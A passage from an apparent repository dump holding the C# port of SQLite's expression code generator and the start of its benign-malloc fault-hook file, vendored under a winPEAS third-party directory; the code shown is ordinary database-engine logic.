TK_REGISTER is\n      ** in WHERE clause processing.  So as currently implemented, there is\n      ** no way for a TK_REGISTER to exist here.  But it seems prudent to\n      ** keep the ALWAYS() in case the conditions above change with future\n      ** modifications or enhancements. */\n      if ( ALWAYS( pExpr.op != TK_REGISTER ) )\n      {\n        int iMem;\n        iMem = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_Copy, inReg, iMem );\n        pExpr.iTable = iMem;\n        pExpr.op = TK_REGISTER;\n      }\n      return inReg;\n    }\n\n    /*\n    ** Return TRUE if pExpr is an constant expression that is appropriate\n    ** for factoring out of a loop.  Appropriate expressions are:\n    **\n    **    *  Any expression that evaluates to two or more opcodes.\n    **\n    **    *  Any OP_Integer, OP_Real, OP_String, OP_Blob, OP_Null,\n    **       or OP_Variable that does not need to be placed in a\n    **       specific register.\n    **\n    ** There is no point in factoring out single-instruction constant\n    ** expressions that need to be placed in a particular register.\n    ** We could factor them out, but then we would end up adding an\n    ** OP_SCopy instruction to move the value into the correct register\n    ** later.  We might as well just use the original instruction and\n    ** avoid the OP_SCopy.\n    */\n    static int isAppropriateForFactoring( Expr p )\n    {\n      if ( sqlite3ExprIsConstantNotJoin( p ) == 0 )\n      {\n        return 0;  /* Only constant expressions are appropriate for factoring */\n      }\n      if ( ( p.flags & EP_FixedDest ) == 0 )\n      {\n        return 1;  /* Any constant without a fixed destination is appropriate */\n      }\n      while ( p.op == TK_UPLUS ) p = p.pLeft;\n      switch ( p.op )\n      {\n#if !SQLITE_OMIT_BLOB_LITERAL\n        case TK_BLOB:\n#endif\n        case TK_VARIABLE:\n        case TK_INTEGER:\n        case TK_FLOAT:\n        case TK_NULL:\n        case TK_STRING:\n          {\n            testcase( p.op == TK_BLOB );\n            testcase( p.op == TK_VARIABLE );\n            testcase( p.op == TK_INTEGER );\n            testcase( p.op == TK_FLOAT );\n            testcase( p.op == TK_NULL );\n            testcase( p.op == TK_STRING );\n            /* Single-instruction constants with a fixed destination are\n            ** better done in-line.  If we factor them, they will just end\n            ** up generating an OP_SCopy to move the value to the destination\n            ** register. */\n            return 0;\n          }\n        case TK_UMINUS:\n          {\n            if ( p.pLeft.op == TK_FLOAT || p.pLeft.op == TK_INTEGER )\n            {\n              return 0;\n            }\n            break;\n          }\n        default:\n          {\n            break;\n          }\n      }\n      return 1;\n    }\n\n    /*\n    ** If pExpr is a constant expression that is appropriate for\n    ** factoring out of a loop, then evaluate the expression\n    ** into a register and convert the expression into a TK_REGISTER\n    ** expression.\n    */\n    static int evalConstExpr( Walker pWalker, ref Expr pExpr )\n    {\n      Parse pParse = pWalker.pParse;\n      switch ( pExpr.op )\n      {\n        case TK_REGISTER:\n          {\n            return WRC_Prune;\n          }\n        case TK_FUNCTION:\n        case TK_AGG_FUNCTION:\n        case TK_CONST_FUNC:\n          {\n            /* The arguments to a function have a fixed destination.\n            ** Mark them this way to avoid generated unneeded OP_SCopy\n            ** instructions.\n            */\n            ExprList pList = pExpr.x.pList;\n            Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) );\n            if ( pList != null )\n            {\n              int i = pList.nExpr;\n              ExprList_item pItem;//= pList.a;\n              for ( ; i > 0 ; i-- )\n              {//, pItem++){\n                pItem = pList.a[pList.nExpr - i];\n                if ( ALWAYS( pItem.pExpr != null ) ) pItem.pExpr.flags |= EP_FixedDest;\n              }\n            }\n            break;\n          }\n      }\n      if ( isAppropriateForFactoring( pExpr ) != 0 )\n      {\n        int r1 = ++pParse.nMem;\n        int r2;\n        r2 = sqlite3ExprCodeTarget( pParse, pExpr, r1 );\n        if ( NEVER( r1 != r2 ) ) sqlite3ReleaseTempReg( pParse, r1 );\n        pExpr.op = TK_REGISTER;\n        pExpr.iTable = r2;\n        return WRC_Prune;\n      }\n      return WRC_Continue;\n    }\n\n    /*\n    ** Preevaluate constant subexpressions within pExpr and store the\n    ** results in registers.  Modify pExpr so that the constant subexpresions\n    ** are TK_REGISTER opcodes that refer to the precomputed values.\n    */\n    static void sqlite3ExprCodeConstants( Parse pParse, Expr pExpr )\n    {\n      Walker w = new Walker();\n      w.xExprCallback = (dxExprCallback)evalConstExpr;\n      w.xSelectCallback = null;\n      w.pParse = pParse;\n      sqlite3WalkExpr( w, ref pExpr );\n    }\n\n    /*\n    ** Generate code that pushes the value of every element of the given\n    ** expression list into a sequence of registers beginning at target.\n    **\n    ** Return the number of elements evaluated.\n    */\n    static int sqlite3ExprCodeExprList(\n    Parse pParse,     /* Parsing context */\n    ExprList pList,   /* The expression list to be coded */\n    int target,       /* Where to write results */\n    bool doHardCopy   /* Make a hard copy of every element */\n    )\n    {\n      ExprList_item pItem;\n      int i, n;\n      Debug.Assert( pList != null );\n      Debug.Assert( target > 0 );\n      n = pList.nExpr;\n      for ( i = 0 ; i < n ; i++ )// pItem++)\n      {\n        pItem = pList.a[i];\n        if ( pItem.iAlias != 0 )\n        {\n          int iReg = codeAlias( pParse, pItem.iAlias, pItem.pExpr, target + i );\n          Vdbe v = sqlite3GetVdbe( pParse );\n          if ( iReg != target + i )\n          {\n            sqlite3VdbeAddOp2( v, OP_SCopy, iReg, target + i );\n          }\n        }\n        else\n        {\n          sqlite3ExprCode( pParse, pItem.pExpr, target + i );\n        }\n        if ( doHardCopy /* && 0 == pParse.db.mallocFailed */ )\n        {\n          sqlite3ExprHardCopy( pParse, target, n );\n        }\n      }\n      return n;\n    }\n\n    /*\n    ** Generate code for a boolean expression such that a jump is made\n    ** to the label \"dest\" if the expression is true but execution\n    ** continues straight thru if the expression is false.\n    **\n    ** If the expression evaluates to NULL (neither true nor false), then\n    ** take the jump if the jumpIfNull flag is SQLITE_JUMPIFNULL.\n    **\n    ** This code depends on the fact that certain token values (ex: TK_EQ)\n    ** are the same as opcode values (ex: OP_Eq) that implement the corresponding\n    ** operation.  Special comments in vdbe.c and the mkopcodeh.awk script in\n    ** the make process cause these values to align.  Assert()s in the code\n    ** below verify that the numbers are aligned correctly.\n    */\n    static void sqlite3ExprIfTrue( Parse pParse, Expr pExpr, int dest, int jumpIfNull )\n    {\n      Vdbe v = pParse.pVdbe;\n      int op = 0;\n      int regFree1 = 0;\n      int regFree2 = 0;\n      int r1 = 0, r2 = 0;\n\n      Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 );\n      if ( NEVER( v == null ) ) return;  /* Existance of VDBE checked by caller */\n      if ( NEVER( pExpr == null ) ) return;  /* No way this can happen */\n      op = pExpr.op;\n      switch ( op )\n      {\n        case TK_AND:\n          {\n            int d2 = sqlite3VdbeMakeLabel( v );\n            testcase( jumpIfNull == 0 );\n            sqlite3ExprCachePush( pParse );\n            sqlite3ExprIfFalse( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL );\n            sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull );\n            sqlite3VdbeResolveLabel( v, d2 );\n            sqlite3ExprCachePop( pParse, 1 );\n            break;\n          }\n        case TK_OR:\n          {\n            testcase( jumpIfNull == 0 );\n            sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, jumpIfNull );\n            sqlite3ExprIfTrue( pParse, pExpr.pRight, dest, jumpIfNull );\n            break;\n          }\n        case TK_NOT:\n          {\n            testcase( jumpIfNull == 0 );\n            sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull );\n            break;\n          }\n        case TK_LT:\n        case TK_LE:\n        case TK_GT:\n        case TK_GE:\n        case TK_NE:\n        case TK_EQ:\n          {\n            Debug.Assert( TK_LT == OP_Lt );\n            Debug.Assert( TK_LE == OP_Le );\n            Debug.Assert( TK_GT == OP_Gt );\n            Debug.Assert( TK_GE == OP_Ge );\n            Debug.Assert( TK_EQ == OP_Eq );\n            Debug.Assert( TK_NE == OP_Ne );\n            testcase( op == TK_LT );\n            testcase( op == TK_LE );\n            testcase( op == TK_GT );\n            testcase( op == TK_GE );\n            testcase( op == TK_EQ );\n            testcase( op == TK_NE );\n            testcase( jumpIfNull == 0 );\n            codeCompareOperands( pParse, pExpr.pLeft, ref r1, ref regFree1,\n            pExpr.pRight, ref r2, ref regFree2 );\n            codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op,\n            r1, r2, dest, jumpIfNull );\n            testcase( regFree1 == 0 );\n            testcase( regFree2 == 0 );\n            break;\n          }\n        case TK_ISNULL:\n        case TK_NOTNULL:\n          {\n            Debug.Assert( TK_ISNULL == OP_IsNull );\n            Debug.Assert( TK_NOTNULL == OP_NotNull );\n            testcase( op == TK_ISNULL );\n            testcase( op == TK_NOTNULL );\n            r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 );\n            sqlite3VdbeAddOp2( v, op, r1, dest );\n            testcase( regFree1 == 0 );\n            break;\n          }\n        case TK_BETWEEN:\n          {\n            /*    x BETWEEN y AND z\n            **\n            ** Is equivalent to\n            **\n            **    x>=y AND x<=z\n            **\n            ** Code it as such, taking care to do the common subexpression\n            ** elementation of x.\n            */\n            Expr exprAnd = new Expr();\n            Expr compLeft = new Expr();\n            Expr compRight = new Expr();\n            Expr exprX = new Expr();\n\n            Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) );\n            exprX = pExpr.pLeft.Copy();\n            exprAnd.op = TK_AND;\n            exprAnd.pLeft = compLeft;\n            exprAnd.pRight = compRight;\n            compLeft.op = TK_GE;\n            compLeft.pLeft = exprX;\n            compLeft.pRight = pExpr.x.pList.a[0].pExpr;\n            compRight.op = TK_LE;\n            compRight.pLeft = exprX;\n            compRight.pRight = pExpr.x.pList.a[1].pExpr;\n            exprX.iTable = sqlite3ExprCodeTemp( pParse, exprX, ref regFree1 );\n            testcase( regFree1 == 0 );\n            exprX.op = TK_REGISTER;\n            testcase( jumpIfNull == 0 );\n            sqlite3ExprIfTrue( pParse, exprAnd, dest, jumpIfNull );\n            break;\n          }\n        default:\n          {\n            r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 );\n            sqlite3VdbeAddOp3( v, OP_If, r1, dest, jumpIfNull != 0 ? 1 : 0 );\n            testcase( regFree1 == 0 );\n            testcase( jumpIfNull == 0 );\n            break;\n          }\n      }\n      sqlite3ReleaseTempReg( pParse, regFree1 );\n      sqlite3ReleaseTempReg( pParse, regFree2 );\n    }\n\n    /*\n    ** Generate code for a boolean expression such that a jump is made\n    ** to the label \"dest\" if the expression is false but execution\n    ** continues straight thru if the expression is true.\n    **\n    ** If the expression evaluates to NULL (neither true nor false) then\n    ** jump if jumpIfNull is SQLITE_JUMPIFNULL or fall through if jumpIfNull\n    ** is 0.\n    */\n    static void sqlite3ExprIfFalse( Parse pParse, Expr pExpr, int dest, int jumpIfNull )\n    {\n      Vdbe v = pParse.pVdbe;\n      int op = 0;\n      int regFree1 = 0;\n      int regFree2 = 0;\n      int r1 = 0, r2 = 0;\n\n      Debug.Assert( jumpIfNull == SQLITE_JUMPIFNULL || jumpIfNull == 0 );\n      if ( NEVER( v == null ) ) return; /* Existance of VDBE checked by caller */\n      if ( pExpr == null ) return;\n\n      /* The value of pExpr.op and op are related as follows:\n      **\n      **       pExpr.op            op\n      **       ---------          ----------\n      **       TK_ISNULL          OP_NotNull\n      **       TK_NOTNULL         OP_IsNull\n      **       TK_NE              OP_Eq\n      **       TK_EQ              OP_Ne\n      **       TK_GT              OP_Le\n      **       TK_LE              OP_Gt\n      **       TK_GE              OP_Lt\n      **       TK_LT              OP_Ge\n      **\n      ** For other values of pExpr.op, op is undefined and unused.\n      ** The value of TK_ and OP_ constants are arranged such that we\n      ** can compute the mapping above using the following expression.\n      ** Assert()s verify that the computation is correct.\n      */\n      op = ( ( pExpr.op + ( TK_ISNULL & 1 ) ) ^ 1 ) - ( TK_ISNULL & 1 );\n\n      /* Verify correct alignment of TK_ and OP_ constants\n      */\n      Debug.Assert( pExpr.op != TK_ISNULL || op == OP_NotNull );\n      Debug.Assert( pExpr.op != TK_NOTNULL || op == OP_IsNull );\n      Debug.Assert( pExpr.op != TK_NE || op == OP_Eq );\n      Debug.Assert( pExpr.op != TK_EQ || op == OP_Ne );\n      Debug.Assert( pExpr.op != TK_LT || op == OP_Ge );\n      Debug.Assert( pExpr.op != TK_LE || op == OP_Gt );\n      Debug.Assert( pExpr.op != TK_GT || op == OP_Le );\n      Debug.Assert( pExpr.op != TK_GE || op == OP_Lt );\n\n      switch ( pExpr.op )\n      {\n        case TK_AND:\n          {\n            testcase( jumpIfNull == 0 );\n            sqlite3ExprIfFalse( pParse, pExpr.pLeft, dest, jumpIfNull );\n            sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull );\n            break;\n          }\n        case TK_OR:\n          {\n            int d2 = sqlite3VdbeMakeLabel( v );\n            testcase( jumpIfNull == 0 );\n            sqlite3ExprCachePush( pParse );\n            sqlite3ExprIfTrue( pParse, pExpr.pLeft, d2, jumpIfNull ^ SQLITE_JUMPIFNULL );\n            sqlite3ExprIfFalse( pParse, pExpr.pRight, dest, jumpIfNull );\n            sqlite3VdbeResolveLabel( v, d2 );\n            sqlite3ExprCachePop( pParse, 1 );\n            break;\n          }\n        case TK_NOT:\n          {\n            sqlite3ExprIfTrue( pParse, pExpr.pLeft, dest, jumpIfNull );\n            break;\n          }\n        case TK_LT:\n        case TK_LE:\n        case TK_GT:\n        case TK_GE:\n        case TK_NE:\n        case TK_EQ:\n          {\n            testcase( op == TK_LT );\n            testcase( op == TK_LE );\n            testcase( op == TK_GT );\n            testcase( op == TK_GE );\n            testcase( op == TK_EQ );\n            testcase( op == TK_NE );\n            testcase( jumpIfNull == 0 );\n            codeCompareOperands( pParse, pExpr.pLeft, ref  r1, ref  regFree1,\n            pExpr.pRight, ref r2, ref regFree2 );\n            codeCompare( pParse, pExpr.pLeft, pExpr.pRight, op,\n            r1, r2, dest, jumpIfNull );\n            testcase( regFree1 == 0 );\n            testcase( regFree2 == 0 );\n            break;\n          }\n        case TK_ISNULL:\n        case TK_NOTNULL:\n          {\n            testcase( op == TK_ISNULL );\n            testcase( op == TK_NOTNULL );\n            r1 = sqlite3ExprCodeTemp( pParse, pExpr.pLeft, ref regFree1 );\n            sqlite3VdbeAddOp2( v, op, r1, dest );\n            testcase( regFree1 == 0 );\n            break;\n          }\n        case TK_BETWEEN:\n          {\n            /*    x BETWEEN y AND z\n            **\n            ** Is equivalent to\n            **\n            **    x>=y AND x<=z\n            **\n            ** Code it as such, taking care to do the common subexpression\n            ** elementation of x.\n            */\n            Expr exprAnd = new Expr();\n            Expr compLeft = new Expr();\n            Expr compRight = new Expr();\n            Expr exprX = new Expr();\n\n            Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) );\n            exprX = pExpr.pLeft;\n            exprAnd.op = TK_AND;\n            exprAnd.pLeft = compLeft;\n            exprAnd.pRight = compRight;\n            compLeft.op = TK_GE;\n            compLeft.pLeft = exprX;\n            compLeft.pRight = pExpr.x.pList.a[0].pExpr;\n            compRight.op = TK_LE;\n            compRight.pLeft = exprX;\n            compRight.pRight = pExpr.x.pList.a[1].pExpr;\n            exprX.iTable = sqlite3ExprCodeTemp( pParse, exprX, ref regFree1 );\n            testcase( regFree1 == 0 );\n            exprX.op = TK_REGISTER;\n            testcase( jumpIfNull == 0 );\n            sqlite3ExprIfFalse( pParse, exprAnd, dest, jumpIfNull );\n            break;\n          }\n        default:\n          {\n            r1 = sqlite3ExprCodeTemp( pParse, pExpr, ref regFree1 );\n            sqlite3VdbeAddOp3( v, OP_IfNot, r1, dest, jumpIfNull != 0 ? 1 : 0 );\n            testcase( regFree1 == 0 );\n            testcase( jumpIfNull == 0 );\n            break;\n          }\n      }\n      sqlite3ReleaseTempReg( pParse, regFree1 );\n      sqlite3ReleaseTempReg( pParse, regFree2 );\n    }\n\n    /*\n    ** Do a deep comparison of two expression trees.  Return TRUE (non-zero)\n    ** if they are identical and return FALSE if they differ in any way.\n    **\n    ** Sometimes this routine will return FALSE even if the two expressions\n    ** really are equivalent.  If we cannot prove that the expressions are\n    ** identical, we return FALSE just to be safe.  So if this routine\n    ** returns false, then you do not really know for certain if the two\n    ** expressions are the same.  But if you get a TRUE return, then you\n    ** can be sure the expressions are the same.  In the places where\n    ** this routine is used, it does not hurt to get an extra FALSE - that\n    ** just might result in some slightly slower code.  But returning\n    ** an incorrect TRUE could lead to a malfunction.\n    */\n    static bool sqlite3ExprCompare( Expr pA, Expr pB )\n    {\n      int i;\n      if ( pA == null || pB == null )\n      {\n        return pB == pA;\n      }\n      Debug.Assert( !ExprHasAnyProperty( pA, EP_TokenOnly | EP_Reduced ) );\n      Debug.Assert( !ExprHasAnyProperty( pB, EP_TokenOnly | EP_Reduced ) );\n      if ( ExprHasProperty( pA, EP_xIsSelect ) || ExprHasProperty( pB, EP_xIsSelect ) )\n      {\n        return false;\n      }\n      if ( ( pA.flags & EP_Distinct ) != ( pB.flags & EP_Distinct ) ) return false;\n      if ( pA.op != pB.op ) return false;\n      if ( !sqlite3ExprCompare( pA.pLeft, pB.pLeft ) ) return false;\n      if ( !sqlite3ExprCompare( pA.pRight, pB.pRight ) ) return false;\n      if ( pA.x.pList != null && pB.x.pList != null )\n      {\n        if ( pA.x.pList.nExpr != pB.x.pList.nExpr ) return false;\n        for ( i = 0 ; i < pA.x.pList.nExpr ; i++ )\n        {\n          Expr pExprA = pA.x.pList.a[i].pExpr;\n          Expr pExprB = pB.x.pList.a[i].pExpr;\n          if ( !sqlite3ExprCompare( pExprA, pExprB ) ) return false;\n        }\n      }\n      else if ( pA.x.pList != null || pB.x.pList != null )\n      {\n        return false;\n      }\n      if ( pA.iTable != pB.iTable || pA.iColumn != pB.iColumn ) return false;\n      if ( ExprHasProperty( pA, EP_IntValue ) )\n      {\n        if ( !ExprHasProperty( pB, EP_IntValue ) || pA.u.iValue != pB.u.iValue )\n        {\n          return false;\n        }\n      }\n      else if ( pA.op != TK_COLUMN && pA.u.zToken != null )\n      {\n        if ( ExprHasProperty( pB, EP_IntValue ) || NEVER( pB.u.zToken == null ) ) return false;\n        if ( sqlite3StrICmp( pA.u.zToken, pB.u.zToken ) != 0 )\n        {\n          return false;\n        }\n      }\n      return true;\n    }\n\n\n    /*\n    ** Add a new element to the pAggInfo.aCol[] array.  Return the index of\n    ** the new element.  Return a negative number if malloc fails.\n    */\n    static int addAggInfoColumn( sqlite3 db, AggInfo pInfo )\n    {\n      int i = 0;\n      pInfo.aCol = sqlite3ArrayAllocate(\n      db,\n      pInfo.aCol,\n      -1,//sizeof(pInfo.aCol[0]),\n      3,\n      ref pInfo.nColumn,\n      ref pInfo.nColumnAlloc,\n      ref i\n      );\n      return i;\n    }\n\n    /*\n    ** Add a new element to the pAggInfo.aFunc[] array.  Return the index of\n    ** the new element.  Return a negative number if malloc fails.\n    */\n    static int addAggInfoFunc( sqlite3 db, AggInfo pInfo )\n    {\n      int i = 0;\n      pInfo.aFunc = sqlite3ArrayAllocate(\n      db,\n      pInfo.aFunc,\n      -1,//sizeof(pInfo.aFunc[0]),\n      3,\n      ref pInfo.nFunc,\n      ref pInfo.nFuncAlloc,\n      ref i\n      );\n      return i;\n    }\n\n    /*\n    ** This is the xExprCallback for a tree walker.  It is used to\n    ** implement sqlite3ExprAnalyzeAggregates().  See sqlite3ExprAnalyzeAggregates\n    ** for additional information.\n    */\n    static int analyzeAggregate( Walker pWalker, ref Expr pExpr )\n    {\n      int i;\n      NameContext pNC = pWalker.u.pNC;\n      Parse pParse = pNC.pParse;\n      SrcList pSrcList = pNC.pSrcList;\n      AggInfo pAggInfo = pNC.pAggInfo;\n\n      switch ( pExpr.op )\n      {\n        case TK_AGG_COLUMN:\n        case TK_COLUMN:\n          {\n            testcase( pExpr.op == TK_AGG_COLUMN );\n            testcase( pExpr.op == TK_COLUMN );\n            /* Check to see if the column is in one of the tables in the FROM\n            ** clause of the aggregate query */\n            if ( ALWAYS( pSrcList != null ) )\n            {\n              SrcList_item pItem;// = pSrcList.a;\n              for ( i = 0 ; i < pSrcList.nSrc ; i++ )\n              {//, pItem++){\n                pItem = pSrcList.a[i];\n                AggInfo_col pCol;\n                Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) );\n                if ( pExpr.iTable == pItem.iCursor )\n                {\n                  /* If we reach this point, it means that pExpr refers to a table\n                  ** that is in the FROM clause of the aggregate query.\n                  **\n                  ** Make an entry for the column in pAggInfo.aCol[] if there\n                  ** is not an entry there already.\n                  */\n                  int k;\n                  //pCol = pAggInfo.aCol;\n                  for ( k = 0 ; k < pAggInfo.nColumn ; k++ )\n                  {//, pCol++){\n                    pCol = pAggInfo.aCol[k];\n                    if ( pCol.iTable == pExpr.iTable &&\n                    pCol.iColumn == pExpr.iColumn )\n                    {\n                      break;\n                    }\n                  }\n                  if ( ( k >= pAggInfo.nColumn )\n                  && ( k = addAggInfoColumn( pParse.db, pAggInfo ) ) >= 0\n                  )\n                  {\n                    pCol = pAggInfo.aCol[k];\n                    pCol.pTab = pExpr.pTab;\n                    pCol.iTable = pExpr.iTable;\n                    pCol.iColumn = pExpr.iColumn;\n                    pCol.iMem = ++pParse.nMem;\n                    pCol.iSorterColumn = -1;\n                    pCol.pExpr = pExpr;\n                    if ( pAggInfo.pGroupBy != null )\n                    {\n                      int j, n;\n                      ExprList pGB = pAggInfo.pGroupBy;\n                      ExprList_item pTerm;// = pGB.a;\n                      n = pGB.nExpr;\n                      for ( j = 0 ; j < n ; j++ )\n                      {//, pTerm++){\n                        pTerm = pGB.a[j];\n                        Expr pE = pTerm.pExpr;\n                        if ( pE.op == TK_COLUMN && pE.iTable == pExpr.iTable &&\n                        pE.iColumn == pExpr.iColumn )\n                        {\n                          pCol.iSorterColumn = j;\n                          break;\n                        }\n                      }\n                    }\n                    if ( pCol.iSorterColumn < 0 )\n                    {\n                      pCol.iSorterColumn = pAggInfo.nSortingColumn++;\n                    }\n                  }\n                  /* There is now an entry for pExpr in pAggInfo.aCol[] (either\n                  ** because it was there before or because we just created it).\n                  ** Convert the pExpr to be a TK_AGG_COLUMN referring to that\n                  ** pAggInfo.aCol[] entry.\n                  */\n                  ExprSetIrreducible( pExpr );\n                  pExpr.pAggInfo = pAggInfo;\n                  pExpr.op = TK_AGG_COLUMN;\n                  pExpr.iAgg = (short)k;\n                  break;\n                } /* endif pExpr.iTable==pItem.iCursor */\n              } /* end loop over pSrcList */\n            }\n            return WRC_Prune;\n          }\n        case TK_AGG_FUNCTION:\n          {\n            /* The pNC.nDepth==0 test causes aggregate functions in subqueries\n            ** to be ignored */\n            if ( pNC.nDepth == 0 )\n            {\n              /* Check to see if pExpr is a duplicate of another aggregate\n              ** function that is already in the pAggInfo structure\n              */\n              AggInfo_func pItem;// = pAggInfo.aFunc;\n              for ( i = 0 ; i < pAggInfo.nFunc ; i++ )\n              {//, pItem++){\n                pItem = pAggInfo.aFunc[i];\n                if ( sqlite3ExprCompare( pItem.pExpr, pExpr ) )\n                {\n                  break;\n                }\n              }\n              if ( i >= pAggInfo.nFunc )\n              {\n                /* pExpr is original.  Make a new entry in pAggInfo.aFunc[]\n                */\n                u8 enc = pParse.db.aDbStatic[0].pSchema.enc;// ENC(pParse.db);\n                i = addAggInfoFunc( pParse.db, pAggInfo );\n                if ( i >= 0 )\n                {\n                  Debug.Assert( !ExprHasProperty( pExpr, EP_xIsSelect ) );\n                  pItem = pAggInfo.aFunc[i];\n                  pItem.pExpr = pExpr;\n                  pItem.iMem = ++pParse.nMem;\n                  Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n                  pItem.pFunc = sqlite3FindFunction( pParse.db,\n                  pExpr.u.zToken, sqlite3Strlen30( pExpr.u.zToken ),\n                  pExpr.x.pList != null ? pExpr.x.pList.nExpr : 0, enc, 0 );\n                  if ( ( pExpr.flags & EP_Distinct ) != 0 )\n                  {\n                    pItem.iDistinct = pParse.nTab++;\n                  }\n                  else\n                  {\n                    pItem.iDistinct = -1;\n                  }\n                }\n              }\n              /* Make pExpr point to the appropriate pAggInfo.aFunc[] entry\n              */\n              Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) );\n              ExprSetIrreducible( pExpr );\n              pExpr.iAgg = (short)i;\n              pExpr.pAggInfo = pAggInfo;\n              return WRC_Prune;\n            }\n            break;\n          }\n      }\n      return WRC_Continue;\n    }\n\n    static int analyzeAggregatesInSelect( Walker pWalker, Select pSelect )\n    {\n      NameContext pNC = pWalker.u.pNC;\n      if ( pNC.nDepth == 0 )\n      {\n        pNC.nDepth++;\n        sqlite3WalkSelect( pWalker, pSelect );\n        pNC.nDepth--;\n        return WRC_Prune;\n      }\n      else\n      {\n        return WRC_Continue;\n      }\n    }\n\n\n    /*\n    ** Analyze the given expression looking for aggregate functions and\n    ** for variables that need to be added to the pParse.aAgg[] array.\n    ** Make additional entries to the pParse.aAgg[] array as necessary.\n    **\n    ** This routine should only be called after the expression has been\n    ** analyzed by sqlite3ResolveExprNames().\n    */\n    static void sqlite3ExprAnalyzeAggregates( NameContext pNC, ref  Expr pExpr )\n    {\n      Walker w = new Walker();\n      w.xExprCallback = (dxExprCallback)analyzeAggregate;\n      w.xSelectCallback = (dxSelectCallback)analyzeAggregatesInSelect;\n      w.u.pNC = pNC;\n      Debug.Assert( pNC.pSrcList != null );\n      sqlite3WalkExpr( w, ref pExpr );\n    }\n\n    /*\n    ** Call sqlite3ExprAnalyzeAggregates() for every expression in an\n    ** expression list.  Return the number of errors.\n    **\n    ** If an error is found, the analysis is cut short.\n    */\n    static void sqlite3ExprAnalyzeAggList( NameContext pNC, ExprList pList )\n    {\n      ExprList_item pItem;\n      int i;\n      if ( pList != null )\n      {\n        for ( i = 0 ; i < pList.nExpr ; i++ )//, pItem++)\n        {\n          pItem = pList.a[i];\n          sqlite3ExprAnalyzeAggregates( pNC, ref pItem.pExpr );\n        }\n      }\n    }\n\n    /*\n    ** Allocate a single new register for use to hold some intermediate result.\n    */\n    static int sqlite3GetTempReg( Parse pParse )\n    {\n      if ( pParse.nTempReg == 0 )\n      {\n        return ++pParse.nMem;\n      }\n      return pParse.aTempReg[--pParse.nTempReg];\n    }\n\n    /*\n    ** Deallocate a register, making available for reuse for some other\n    ** purpose.\n    **\n    ** If a register is currently being used by the column cache, then\n    ** the dallocation is deferred until the column cache line that uses\n    ** the register becomes stale.\n    */\n    static void sqlite3ReleaseTempReg( Parse pParse, int iReg )\n    {\n      if ( iReg != 0 && pParse.nTempReg < ArraySize( pParse.aTempReg ) )\n      {\n        int i;\n        yColCache p;\n        for ( i = 0 ; i < SQLITE_N_COLCACHE ; i++ )//p=pParse.aColCache... p++)\n        {\n          p = pParse.aColCache[i];\n          if ( p.iReg == iReg )\n          {\n            p.tempReg = 1;\n            return;\n          }\n        }\n        pParse.aTempReg[pParse.nTempReg++] = iReg;\n      }\n    }\n\n    /*\n    ** Allocate or deallocate a block of nReg consecutive registers\n    */\n    static int sqlite3GetTempRange( Parse pParse, int nReg )\n    {\n      int i, n;\n      i = pParse.iRangeReg;\n      n = pParse.nRangeReg;\n      if ( nReg <= n && usedAsColumnCache( pParse, i, i + n - 1 ) == 0 )\n      {\n        pParse.iRangeReg += nReg;\n        pParse.nRangeReg -= nReg;\n      }\n      else\n      {\n        i = pParse.nMem + 1;\n        pParse.nMem += nReg;\n      }\n      return i;\n    }\n    static void sqlite3ReleaseTempRange( Parse pParse, int iReg, int nReg )\n    {\n      if ( nReg > pParse.nRangeReg )\n      {\n        pParse.nRangeReg = nReg;\n        pParse.iRangeReg = iReg;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/fault_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 Jan 22\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** $Id: fault.c,v 1.11 2008/09/02 00:52:52 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    /*\n    ** This file contains code to support the concept of \"benign\"\n    ** malloc failures (when the xMalloc() or xRealloc() method of the\n    ** sqlite3_mem_methods structure fails to allocate a block of memory\n    ** and returns 0).\n    **\n    ** Most malloc failures are non-benign. After they occur, SQLite\n    ** abandons the current operation and returns an error code (usually\n    ** SQLITE_NOMEM) to the user. However, sometimes a fault is not necessarily\n    ** fatal. For example, if a malloc fails while resizing a hash table, this\n    ** is completely recoverable simply by not carrying out the resize. The\n    ** hash table will continue to function normally.  So a malloc failure\n    ** during a hash table resize is a benign fault.\n    */\n\n    //#include \"sqliteInt.h\"\n\n#if !SQLITE_OMIT_BUILTIN_TEST\n    /*\n** Global variables.\n*/\n    //typedef struct BenignMallocHooks BenignMallocHooks;\n    public struct BenignMallocHooks//\n    {\n      public void_function xBenignBegin;//void (*xBenignBegin)(void);\n      public void_function xBenignEnd;    //void (*xBenignEnd)(void);\n      public BenignMallocHooks( void_function xBenignBegin, void_function xBenignEnd )\n      {\n        this.xBenignBegin = xBenignBegin;\n        this.xBenignEnd = xBenignEnd;\n      }\n    }\n    static BenignMallocHooks sqlite3Hooks = new BenignMallocHooks( null, null );\n\n    /* The \"wsdHooks\" macro will resolve to the appropriate BenignMallocHooks\n    ** structure.  If writable static data is unsupported on the target,\n    ** we have to locate the state vector at run-time.  In the more common\n    ** case where writable static data is supported, wsdHooks can refer directly\n    ** to the 